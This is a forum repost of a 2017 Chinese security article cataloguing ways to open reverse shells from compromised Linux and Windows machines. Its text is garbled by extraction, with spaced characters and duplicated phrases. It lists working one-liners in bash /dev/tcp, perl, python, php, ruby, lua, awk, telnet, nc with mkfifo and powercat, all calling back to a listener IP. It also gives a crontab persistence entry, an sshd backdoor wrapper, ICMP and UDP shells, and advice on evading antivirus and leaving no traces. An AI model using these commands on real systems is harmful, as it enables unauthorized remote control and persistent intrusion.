搜索

[11795] 2017-09-18_关于Shell你想知道的都在这儿

文档创建者：s7ckTeam
浏览次数：3
最后更新：2025-01-18
2017-09-18_关于Shell你想知道的都在这儿 关 于 S h e l l 你 想 知 道 的 都 在 这 儿 二 楼 日 记   F r e e B u f   2 0 1 7 - 0 9 - 1 8 0 x 0 1   前 奏 说 明 前 奏 说 明 很 多 时 候 很 多 时 候 , 不 到 万 不 得 已 的 情 况 下 不 到 万 不 得 已 的 情 况 下 , 我 们 完 全 没 必 要 非 往 目 标 机 器 里 传 一 堆 工 具 我 们 完 全 没 必 要 非 往 目 标 机 器 里 传 一 堆 工 具 , 先 不 说 由 于 各 种 防 护 先 不 说 由 于 各 种 防 护 [ 不 仅 仅 是 杀 不 仅 仅 是 杀 软 的 问 题 软 的 问 题 ] , 传 工 具 困 难 重 重 传 工 具 困 难 重 重 , 有 时 由 于 自 己 的 粗 心 有 时 由 于 自 己 的 粗 心 , 走 的 时 候 很 容 易 把 各 种 工 具 落 在 目 标 机 器 上 走 的 时 候 很 容 易 把 各 种 工 具 落 在 目 标 机 器 上 , 万 一 哪 天 被 人 看 万 一 哪 天 被 人 看 见 见 , 一 看 工 具 就 大 概 知 道 你 上 来 都 干 了 啥 一 看 工 具 就 大 概 知 道 你 上 来 都 干 了 啥 , 尤 其 是 很 多 小 伙 伴 在 用 别 人 工 具 时 候 也 不 爱 做 点 儿 什 么 手 脚 尤 其 是 很 多 小 伙 伴 在 用 别 人 工 具 时 候 也 不 爱 做 点 儿 什 么 手 脚 , 后 果 你 自 后 果 你 自 然 是 很 懂 的 然 是 很 懂 的 , 嘿 嘿 嘿 嘿 … … 其 实 , 个 人 一 直 觉 得 , 如 果 能 利 用 目 标 系 统 自 身 的 环 境 或 者 工 具 帮 我 们 搞 定 的 , 最 好 就 直 接 用 那 个 , 也 省 去 了 不 少 的 麻 烦 , 比 如 , 最 简 单 的 , 利 用 目 标 系 统 中 自 带 的 各 种 工 具 及 语 言 环 境 帮 我 们 弹 回 一 个 简 单 的 可 交 互 s h e l l ,   有 s h e l l , ’ 夫 何 求 ’ ,   没 错 , 你 肯 定 会 说 , 不 就 一 个 s h e l l 嘛 , 我 直 接 用   c o a b l t   s t r i k e   &   m s f   岂 不 更 好 , 嘿 嘿 … … 其 实 , 这 里 并 不 存 在 争 论 的 点 , 不 错 , 它 俩 确 实 挺 好 , 不 过 , 恶 劣 的 环 境 总 是 有 的 , 有 时 想 把 它 俩 用 上 确 实 比 较 费 劲 , 好 了 , 前 戏 就 到 此 为 止 吧 , 下 面 我 们 就 直 奔 主 题 … … 0 x 0 2   大 致 环 境 大 致 环 境 0 x 0 3   关 于 关 于 l i n u x 平 台 下 弹 平 台 下 弹 s h e l l 的 一 些 方 式 的 一 些 方 式 利 用 p e r l 的 s o c k e t , 也 是 个 人 比 较 推 荐 的 方 式 , 因 为 现 今 几 乎 所 有 主 流 的 l i n u x 发 行 版 都 已 经 装 好 了 p e r l , 细 心 的 你 也 许 会 发 现 很 多 大 马 里 弹 s h e l l 的 选 项 中 一 般 都 会 有 p e r l , 后 面 b a s h   - i 的 意 思 就 是 执 行 一 个 可 交 互 的 s h e l l 利 用 系 统 特 殊 设 备 文 件 / d e v / t c p [ 当 然 , 有 这 种 特 性 的 文 件 并 不 止 这 一 个 ] , 语 句 的 意 思 其 实 很 简 单 , 通 俗 点 儿 讲 就 是 把 b a s h 的 数 据 全 部 通 过 / d e v / t c p 建 立 的 s o c k e t 发 过 去 , 以 此 来 达 到 反 弹 s h e l l 的 效 果 w i n 7                     1 9 2 . 1 6 8 . 1 . 1 2 8 c e n t o s 6 . 8           1 9 2 . 1 6 8 . 1 . 1 2 9 w i n 2 0 0 8 R 2           1 9 2 . 1 6 8 . 1 . 1 3 1 k a l i                     1 9 2 . 1 6 8 . 1 . 1 4 7 C : > n c   - l v p   5 3 #   p e r l   - e   ' u s e   S o c k e t ; $ i = " 1 9 2 . 1 6 8 . 1 . 1 2 8 " ; $ p = 5 3 ; s o c k e t ( S , P F _ I N E T , S O C K _ S T R E A M , g e t p r o t o b y n a m e ( " t c p " ) ) ; i f ( c o n n e c t ( S , s o c k a d d r _ i n ( $ p , i n e t _ a t o n ( $ i ) ) ) ) { o p e n ( S T D I N , " > & S " ) ; o p e n ( S T D O U T , " > & S " ) ; o p e n ( S T D E R R , " > & S " ) ; e x e c ( " / b i n / b a s h   - i " ) ; } ; ' C : > n c   - l v p   8 0 #   / b i n / b a s h   - i   > &   / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 2 8 / 8 0   0 > & 1
利 用 s s h d 来 反 弹 s h e l l , l n   - f 的 意 思 就 是 把 原 有 的 数 据 清 空 , 整 体 语 句 的 意 思 通 俗 点 儿 讲 , 就 是 把 s s h d 绑 定 在 本 地 的 8 0 8 0 端 口 上 , 这 样 当 别 人 从 8 0 8 0 这 个 端 口 进 来 的 时 候 就 相 当 于 直 接 进 到 本 机 的 s s h d 中 , - o 就 是 去 掉 第 一 次 s s h 连 接 的 那 个 密 钥 对 提 示 , 像 这 种 正 向 连 , 有 个 非 常 不 好 的 地 方 , 防 火 墙 只 要 阻 断 你 这 个 端 口 的 数 据 通 信 就 基 本 全 废 掉 了 第 一 种 方 式 : #   n e t s t a t   - t u l n p   |   g r e p   " 8 0 8 0 " #   l n   - s f   / u s r / s b i n / s s h d   / t m p / s u ; / t m p / s u   - o P o r t = 8 0 8 0 ; #   n e t s t a t   - t u l n p   |   g r e p   " 8 0 8 0 " #   s s h   r o o t @ 1 9 2 . 1 6 8 . 1 . 1 2 9   - p   8 0 8 0   一 定 要 注 意 在 自 己 本 地 机 器 上 用 这 个 端 口 去 连 #   p k i l l   s u
第 二 种 方 式 , 注 意 这 里 的 s o c a t 连 接 的 端 口 , 默 认 是 1 3 3 7 7 端 口 [ 当 然 是 可 以 改 的 ] , 关 于 s o c a t , 这 里 就 不 多 做 介 绍 了 , 一 个 高 级 端 口 转 发 工 具 , 当 然 , 并 不 只 是 转 发 那 么 简 单 , 想 必 小 伙 伴 们 也 应 该 用 的 比 较 多 了 利 用 最 古 老 的 n c 来 反 弹 , 但 默 认 正 常 发 行 版 中 默 认 带 的 那 个 n c 都 是 阉 割 版 的 , 即 没 有 - e 选 项 , 也 就 意 味 着 你 并 不 能 直 接 用 它 反 弹 s h e l l , 好 在 强 大 的 l i n u x 为 我 们 提 供 了 一 个 建 立 管 道 的 工 具 m k f i f o 和 b a s h 本 身 的 各 种 管 道 特 性 , 我 们 就 可 以 利 这 种 方 式 , 把 b a s h 的 数 据 通 过 管 道 反 弹 走 普 通 普 通 n c 反 弹 反 弹 加 密 版 的 n e t c a t   =   ‘ c r y p t c a t ’ , 可 以 设 置 连 接 密 码 , 用 - k 指 定 下 即 可 , k a l i 默 认 自 带 , 如 果 是 目 标 机 器 , 可 能 需 要 你 自 己 手 工 编 #   c d   / u s r / s b i n / #   m v   s s h d   . . / b i n / #   e c h o   ' # ! / u s r / b i n / p e r l '   > s s h d #   e c h o   ' e x e c   " / b i n / s h "   i f   ( g e t p e e r n a m e ( S T D I N )   = ~   / ^ . . 4 A / ) ; '   > > s s h d #   e c h o   ' e x e c   { " / u s r / b i n / s s h d " }   " / u s r / s b i n / s s h d " , @ A R G V , '   > > s s h d #   c h m o d   u + x   s s h d #   / e t c / i n i t . d / s s h d   r e s t a r t #   s o c a t   S T D I O   T C P 4 : 1 9 2 . 1 6 8 . 1 . 1 2 9 : 2 2 , s o u r c e p o r t = 1 3 3 7 7 C : > n c   - l v p   8 0 8 0 #   r m   / t m p / f ; m k f i f o   / t m p / f ; c a t   / t m p / f | / b i n / s h   - i   2 > & 1 | n c   1 9 2 . 1 6 8 . 1 . 1 2 8   8 0 8 0   > / t m p / f
译 装 一 下 , 实 在 不 好 意 思 , 这 个 貌 似 忘 记 截 图 了 利 用 a w k 或 g a w k 来 反 弹 s h e l l , a w k 就 不 用 多 说 了 吧 , l i n u x 文 本 处 理 三 剑 客 的 老 大 , 语 句 的 意 思 也 非 常 简 单 , 就 是 循 环 发 s o c k e t 利 用 系 统 自 带 的 t e l n e t 客 户 端 来 反 弹 s h e l l , 一 般 运 维 默 认 都 会 把 它 装 上 , 不 知 道 这 种 方 式 对 w i n d o w s 是 否 好 使 , 自 己 暂 时 还 没 测 过 , 有 兴 趣 的 小 伙 伴 可 以 测 下 第 一 种 第 二 种 #   c r y p t c a t   - v v   - l   - p   2 5   - k   s e c #   c r y p t c a t   - v v   - l   - p   8 0   - k   s e c #   c r y p t c a t   1 9 2 . 1 6 8 . 1 . 1 2 9   8 0   - k   s e c | c m d . e x e | c r y p t c a t   1 9 2 . 1 6 8 . 1 . 1 2 9   2 5   - k   s e c #   a w k   ' B E G I N { s = " / i n e t / t c p / 0 / 1 9 2 . 1 6 8 . 1 . 1 2 8 / 8 0 8 0 " ; f o r ( ; s | & g e t l i n e   c ; c l o s e ( c ) ) w h i l e ( c | g e t l i n e ) p r i n t | & s ; c l o s e ( s ) } ' C : > n c   - v l p   1 0 8 0   命 令 结 果 显 示 窗 口 C : > n c   - l v p   8 0 8 0   命 令 传 输 窗 口 #   t e l n e t   1 9 2 . 1 6 8 . 1 . 1 2 8   8 0 8 0   |   / b i n / b a s h   |   t e l n e t   1 9 2 . 1 6 8 . 1 . 1 2 8   1 0 8 0 C : > n c   - l v p   8 0 8 0 #   m k n o d   t e s t   p   & &   t e l n e t   1 9 2 . 1 6 8 . 1 . 1 2 8     8 0 8 0   0 < t e s t   |   / b i n / b a s h   1 > t e s t
利 用 p y 反 弹 s h e l l , 就 像 p e r l 一 样 , p y 在 绝 大 多 数 发 行 版 上 都 已 经 自 带 , 但 默 认 版 本 都 是 2 . 6 . 6 的 , 不 过 , 对 我 们 弹 个 s h e l l 来 说 , 足 矣 , 当 然 啦 , 这 里 只 是 用 最 简 单 的 p y 的 s o c k e t 来 反 弹 一 个 s h e l l , 关 于 其 它 各 种 更 高 级 的 p y   r e v e r s e _ s h e l l   这 里 就 先 不 说 了 利 用 c r o n t a b 定 时 反 弹 s h e l l , 很 容 被 发 现 , 临 时 用 用 还 行 , 至 于 里 面 具 体 用 什 么 反 弹 , 随 意 , p e r l , p y   都 行 , 你 愿 意 , 用 完 以 后 记 得 立 马 删 掉 利 用 p h p 的 s o c k e t 来 反 弹 , 对 于 p h p 的 网 站 , 也 许 我 们 可 以 利 用 上 , 也 是 很 多 p h p 大 马 里 默 认 的 反 弹 s h e l l 方 式 , 当 然 , 除 了 p h p 脚 本 , 别 的 w e b 后 端 脚 本 其 实 都 可 以 被 利 用 , 比 如 , j s p … C : > n c   - l v p   8 0 8 0 #   p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 1 . 1 2 8 " , 8 0 8 0 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / b a s h " , " - i " ] ) ; ' C : > n c   - l v p   8 0 8 0 #   ( c r o n t a b   - l ; p r i n t f   " *   *   *   *   *     / u s r / b i n / p y t h o n   - c   ' i m p o r t   s o c k e t , s u b p r o c e s s , o s ; s = s o c k e t . s o c k e t ( s o c k e t . A F _ I N E T , s o c k e t . S O C K _ S T R E A M ) ; s . c o n n e c t ( ( " 1 9 2 . 1 6 8 . 1 . 1 2 8 " , 8 0 8 0 ) ) ; o s . d u p 2 ( s . f i l e n o ( ) , 0 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 1 ) ;   o s . d u p 2 ( s . f i l e n o ( ) , 2 ) ; p = s u b p r o c e s s . c a l l ( [ " / b i n / s h " , " - i " ] ) ; ' n " ) | c r o n t a b   - #   c r o n t a b   - e C : > n c   - l v p   8 0 8 0 #   / u s r / l o c a l / p h p / b i n / p h p   - r   ' $ s o c k = f s o c k o p e n ( " 1 9 2 . 1 6 8 . 1 . 1 2 8 " , 8 0 8 0 ) ; e x e c ( " / b i n / b a s h   - i   < & 3   > & 3   2 > & 3 " ) ; '
如 果 目 标 机 器 上 有 j a v a 环 境 , 那 就 更 好 了 , 直 接 用 j a v a 来 弹 , 效 果 一 般 还 是 非 常 好 的 , 而 且 j a v a 的 免 杀 效 果 也 很 不 错 哦 , 把 下 面 的 代 码 打 成 j a r 包 就 可 以 了 , 记 得 打 之 前 改 下 里 面 要 反 弹 到 的 i p 和 端 口 利 用 r u b y 的 s o c k e t 来 反 弹 s h e l l 利 用 l u a 的 s o c k e t 来 反 弹 s h e l l C : > n c   - l v p   8 0 8 0 p u b l i c   c l a s s   R e v s   {         / * *         *   @ p a r a m   a r g s         *   @ t h r o w s   E x c e p t i o n         * /         p u b l i c   s t a t i c   v o i d   m a i n ( S t r i n g [ ]   a r g s )   t h r o w s   E x c e p t i o n   {                 / /   T O D O   A u t o - g e n e r a t e d   m e t h o d   s t u b                 R u n t i m e   r   =   R u n t i m e . g e t R u n t i m e ( ) ;                 S t r i n g   c m d [ ] =   { " / b i n / b a s h " , " - c " , " e x e c   5 < > / d e v / t c p / 1 9 2 . 1 6 8 . 1 . 1 2 8 / 8 0 8 0 ; c a t   < & 5   |   w h i l e   r e a d   l i n e ;   d o   $ l i n e   2 > & 5   > & 5 ;   d o n e " } ;                 P r o c e s s   p   =   r . e x e c ( c m d ) ;                 p . w a i t F o r ( ) ;         } } C : > n c   - l v p   8 0 8 0 #   r u b y   - r s o c k e t   - e   ' e x i t   i f   f o r k ; c = T C P S o c k e t . n e w ( " 1 9 2 . 1 6 8 . 1 . 1 2 8 " , " 8 0 8 0 " ) ; w h i l e ( c m d = c . g e t s ) ; I O . p o p e n ( c m d , " r " ) { | i o | c . p r i n t   i o . r e a d } e n d ' c : n c   - l v p   8 0 8 0 #   a p t - g e t   i n s t a l l   l u a 5 0 #   a p t - g e t   i n s t a l l   l u a r o c k s #   l u a r o c k s   i n s t a l l   l u a s o c k e t #   l u a   - e   " r e q u i r e ( ' s o c k e t ' ) ; r e q u i r e ( ' o s ' ) ; t = s o c k e t . t c p ( ) ; t : c o n n e c t ( ' 1 9 2 . 1 6 8 . 1 . 1 2 8 ' , ' 8 0 8 0 ' ) ; o s . e x e c u t e ( ' / b i n / s h   - i   < & 3   > & 3   2 > & 3 ' ) ; "
利 用 n o d e j s 反 弹 s h e l l 利 用 j s 配 合 r u n d l l 3 2 . e x e   来 反 弹 s h e l l c 版 的 r e v e r s e _ s h e l l 利 用 g c c 反 弹 s h e l l 0 x 0 4   基 于 不 同 协 议 下 的 基 于 不 同 协 议 下 的 s h e l l 反 弹 方 式 反 弹 方 式 利 用 i c m p 来 反 弹 s h e l l , 需 要 你 自 己 先 编 译 下 , 会 生 成 两 个 文 件 , 一 个 服 务 端 [ i s h d ] , 一 个 客 户 端 [ i s h ] , 自 己 有 兴 趣 可 以 拿 w i r e s h a r k 看 下 , 通 常 用 来 穿 透 高 层 防 火 墙 利 用 u d p 来 反 弹 s h e l l C : > n c   - l v p   8 0 8 0 ( f u n c t i o n ( ) {         v a r   n e t   =   r e q u i r e ( " n e t " ) ,         c p   =   r e q u i r e ( " c h i l d _ p r o c e s s " ) ,         s h   =   c p . s p a w n ( " / b i n / s h " ,   [ ] ) ;         v a r   c l i e n t   =   n e w   n e t . S o c k e t ( ) ;         c l i e n t . c o n n e c t ( 8 0 8 0 ,   " 1 0 . 1 7 . 2 6 . 6 4 " ,   f u n c t i o n ( ) {                 c l i e n t . p i p e ( s h . s t d i n ) ;                 s h . s t d o u t . p i p e ( c l i e n t ) ;                 s h . s t d e r r . p i p e ( c l i e n t ) ;         } ) ;         r e t u r n   / a / ; } ) ( ) ; J s R a t C : > n c   - l v p   8 0 8 0 #   g c c   c _ r e v e s e _ s h e l l . c   - o   c s h e l l #   . / c s h e l l   1 9 2 . 1 6 8 . 1 . 1 2 8   8 0 8 0 抱 歉 , 暂 时 还 未 成 功 , 待 续 . . . . #   m a k e   l i n u x #   . / i s h d   - i   6 5 5 5   - t   0   - p   8 0 8 0 #   . / i s h   - i   6 5 5 5   - t   0   - p   8 0 8 0   1 9 2 . 1 6 8 . 1 . 1 2 9   [ 这 里 的 i p 可 以 换 成 域 名 ] C : > n c   - l   - p   5 3   - u           注 意 这 里 务 必 要 用 u d p 的 模 式 来 接 #   p y t h o n   u d p s h e l l . p y   1 9 2 . 1 6 8 . 1 . 1 2 8   5 3   u d p
利 用 d n s 来 反 弹 s h e l l 的 方 式 , 就 不 说 了 吧 , 详 情 可 自 行 参 考 c o b a l t   s t r i k e , 那 可 能 是 现 今 最 好 的 d n s 隧 道 学 习 样 例 0 x 0 5   关 于 关 于 w i n 平 台 下 的 一 些 平 台 下 的 一 些 s h e l l 反 弹 方 式 反 弹 方 式 除 了 上 面 这 些 可 以 通 用 的 语 言 反 弹 s h e l l 之 外 , 可 能 最 重 要 的 就 是 p o w e r s h e l l 了 , 当 然 啦 , 如 果 你 说 v b s 更 好 , 那 我 也 没 啥 好 说 的 了 , 毕 竟 自 己 平 时 遇 到 0 3 以 下 的 系 统 实 在 是 太 少 了 , 可 能 以 后 也 会 越 来 越 少 , 人 总 要 向 前 看 嘛 C : > n c   - l v p   8 0 8 0 记 得 到 脚 本 里 面 去 把 要 反 弹 到 的 i p 和 端 口 改 一 下 , 另 外 , 可 能 是 因 为 c m d 默 认 的 字 符 集 [ g b k ] 所 以 才 会 乱 码 , 如 果 是 英 文 系 统 就 不 会 了 #   p o w e r s h e l l   – e x e c   b y p a s s   – C o m m a n d   " &   { I m p o r t - M o d u l e   ' C : m i n i - r e v e r s e . p s 1 ' } " 同 样 要 记 得 去 把 脚 本 里 要 反 弹 到 的 i p 和 端 口 改 成 你 自 己 的 , 这 个 格 式 化 输 出 写 的 确 实 不 怎 么 好 #   p o w e r s h e l l   – e x e c   b y p a s s   – C o m m a n d   " &   { I m p o r t - M o d u l e   ' C : m i n R e v . p s 1 ' } "
利 用 p o w e r c a t 来 反 弹 s h e l l , 其 实 就 是 p o w e r s h e l l 版 的 n e t c a t 关 于 n i s h a n g 和 其 它 各 种 p o w e r s h e l l 工 具 包 中 的 各 种 反 弹 s h e l l 的 方 式 , 篇 幅 限 制 , 这 里 就 不 一 一 说 了 , 大 家 有 兴 趣 可 以 去 关 注 我 的 博 客 [ k l i o n s e c . g i t h u b . i o ] , 里 面 很 久 之 前 应 该 写 过 , 可 能 比 较 粗 糙 , 大 家 先 将 就 看 吧 , 后 续 我 会 抽 空 把 博 客 好 好 整 理 一 下 , 有 点 儿 乱 … … 我 知 道 , 基 于 这 种 思 路 , 可 以 衍 生 出 来 的 方 法 还 有 非 常 非 常 的 多 , 有 兴 趣 大 家 可 以 一 起 研 究 , 不 可 否 认 的 是 , 虽 然 只 是 一 个 s h e l l , 但 中 间 涉 及 到 的 东 西 依 然 是 很 值 得 学 习 的 0 x 0 6   一 些 小 结 一 些 小 结 反 弹 的 核 心 说 白 点 其 实 就 是 和 目 标 系 统 建 立 s o c k e t ( 如 果 中 间 [ 不 管 是 正 向 还 是 反 向 ] 端 口 被 防 火 墙 阻 断 了 , 那 你 可 能 就 只 能 选 择 复 用 或 者 直 接 走 更 底 层 的 协 议 了 , 还 是 那 句 话 , 只 是 一 个 s h e l l 而 已 , 方 法 已 经 有 了 , 怎 么 在 实 战 中 按 照 自 己 的 需 求 改 进 , 可 能 才 是 你 更 需 要 思 考 的 , 我 们 都 看 到 了 , 反 弹 的 时 候 , 进 程 会 一 直 处 于 挂 起 状 态 , 实 际 中 放 到 后 台 跑 就 好 了 , 另 外 , 说 实 话 , 像 这 种 基 于 t c p 的 s h e l l , 瞟 一 眼 就 发 现 了 , 最 多 可 能 只 能 在 实 际 渗 透 中 临 时 用 用 … … , 相 信 我 们 最 终 想 要 的 , 还 是 基 于 这 个 出 来 的 思 路 , 而 不 是 这 些 死 技 巧 , 自 己 平 时 确 实 很 少 发 文 章 , 主 要 目 的 还 是 想 多 跟 大 家 一 起 学 习 交 流 进 步 ,   b o n   s o i r   ! * 本 文 作 者 ： 二 楼 日 记 ， 转 载 请 注 明 本 文 作 者 ： 二 楼 日 记 ， 转 载 请 注 明 F r e e B u f . C O M 首 先 , 在 本 机 创 建 好 p o w e r s h e l l 版 的 r e v e r s e   s h e l l 的 p a y l o a d , 编 码 处 理 的 还 是 蛮 不 错 的 P S   C : >   S e t - E x e c u t i o n P o l i c y   U n r e s t r i c t e d P S   C : >   c d   . p o w e r c a t P S   C : p o w e r c a t >   I m p o r t - M o d u l e   . p o w e r c a t . p s 1 P S   C : p o w e r c a t >   p o w e r c a t   - c   1 9 2 . 1 6 8 . 1 . 1 2 8   - p   8 0 8 0   - e   c m d   - g   > >   p a y l o a d . p s 1 C : > n c   - l v p   8 0 8 0 然 后 , 把 p a y l o a d . p s 1 丢 到 目 标 机 器 上 去 执 行 #   p o w e r s h e l l   – e x e c   b y p a s s   – C o m m a n d   " &   { I m p o r t - M o d u l e   ' C : p a y l o a d . p s 1 ' } "
阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理